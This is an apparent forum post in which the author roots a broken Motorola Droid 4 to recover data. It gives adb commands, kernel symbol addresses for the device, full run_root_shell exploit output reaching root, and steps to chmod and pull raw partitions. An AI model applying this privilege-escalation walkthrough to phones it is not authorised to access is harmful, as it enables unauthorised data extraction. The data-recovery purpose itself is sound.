[Motorola Droid 4] Hawkje:
Since the phone was not working anymore my focus was to recover my data from it. However, the problem I was facing was that I could not access the user files on the phone since I did not have root rights. The solution I sought for was getting root access on the Droid4 by exploiting a vulnerability. Because I only had adb access to a not fully started system the exploit named earlier in this thread did not work so I had to look for something like a kernel exploit. I luckily had some help from some friends, and they pointed me to the following exploit which worked: h t t p s : / / github.com/android-rooting-tools/android_run_root_shell (since I have less than 10 posts, I can not post links)

To use the exploit, compile the source code and copy the file to the Droid4 (also copy the device.db file):

adb push run_root_shell /data/local/tmp/run_root_shell
adb push device.db /data/local/tmp/device.db

You can copy the files to the /data/local/tmp directory on the phone (you can write here as a user without root rights), make sure to make the file executable and then run the exploit. The exploit can find all the values it needs itself (slow) or get them from the device.db database (fast), for a single use root exploit the slow approach will do, but if you need to use the exploit a couple of times I recommend to use the device.db. The current device.db on the site does not contain the Droid4, but this information will be submitted to the git system, so it will be included in the near future.

In the mean time you can insert the following information in to the device.db file yourself.

insert into supported_devices(device_id, device, build_id, check_property_name, check_property_value) values(185, 'DROID4', '9.8.2O-72_VZW-18', null, null);
insert into device_address(device_id, name, value) values(185, 'prepare_kernel_cred', 3221997068);
insert into device_address(device_id, name, value) values(185, 'commit_creds', 3221995156);
insert into device_address(device_id, name, value) values(185, 'remap_pfn_range', 3222276972);
insert into device_address(device_id, name, value) values(185, 'ptmx_fops', 3230673008);

Output of the slow version of the exploit (without the information added to device.db):

127|shell@cdma_maserati:/data/local/tmp $ ./run_root_shell
./run_root_shell

Device detected: DROID4 (9.8.2O-72_VZW-18)

Try to find address in memory...
Attempt msm_cameraconfig exploit...
Detected kernel physical address at 0x80008000 form iomem

Attempt fb_mem exploit...
Detected kernel physical address at 0x80008000 form iomem
Failed to open /dev/graphics/fb0 due to No such file or directory
You need to manage to get remap_pfn_range addresses.

Try copying kernel memory... It will take a long time.
Attempt get_user exploit...

Search address in memroy...
Using kallsyms_in_memroy...
prepare_kernel_cred = 0xc00bc60c
commit_creds = 0xc00bbe94
ptmx_fops = 0xc0902870
Attempt acdb exploit...
DROID4 (9.8.2O-72_VZW-18) is not supported.

Attempt fj_hdcp exploit...

Attempt msm_cameraconfig exploit...
Detected kernel physical address at 0x80008000 form iomem

Attempt put_user exploit...
root@cdma_maserati:/data/local/tmp # id
uid=0(root) gid=0(root)

The fast version of the exploit (with the information added to device.db):

127|shell@cdma_maserati:/data/local/tmp $ ./run_root_shell
./run_root_shell

Device detected: DROID4 (9.8.2O-72_VZW-18)

Attempt acdb exploit...
DROID4 (9.8.2O-72_VZW-18) is not supported.

Attempt fj_hdcp exploit...

Attempt msm_cameraconfig exploit...
Detected kernel physical address at 0x80008000 form iomem

Attempt put_user exploit...
root@cdma_maserati:/data/local/tmp # id
id
uid=0(root) gid=0(root)

Now we have root access we can access the partitions we want, to easily download the partitions through adb (on Linux) you can change the rights to the partitions with the following command:

chmod 777 /dev/block/mmc*

With the non-root user now having access to the partitions, you can download them with the following commands.

For the userdata partition:

./adb pull /dev/block/mmcblk1p24

For the full disk inside the phone:

./adb pull /dev/block/mmcblk1

For the sdcard it will be:

./adb pull /dev/block/mmcblk0

This pull request will take a while, statistics from downloading the userdata partition and whole disk on my machine:

755 KB/s (3279945728 bytes in 4239.895s)
414 KB/s (15938355200 bytes in 37526.406s)

To read the information from the partitions you downloaded you can, among other things, mount them in Linux or use a tool like FTK Imager on Windows.

I would like to thank and credit both blasty and ius for helping me out and finding the right exploit plus device.db values. In case anyone needs the compiled exploit and updated device.db file, just send me a PM and I will provide it to you.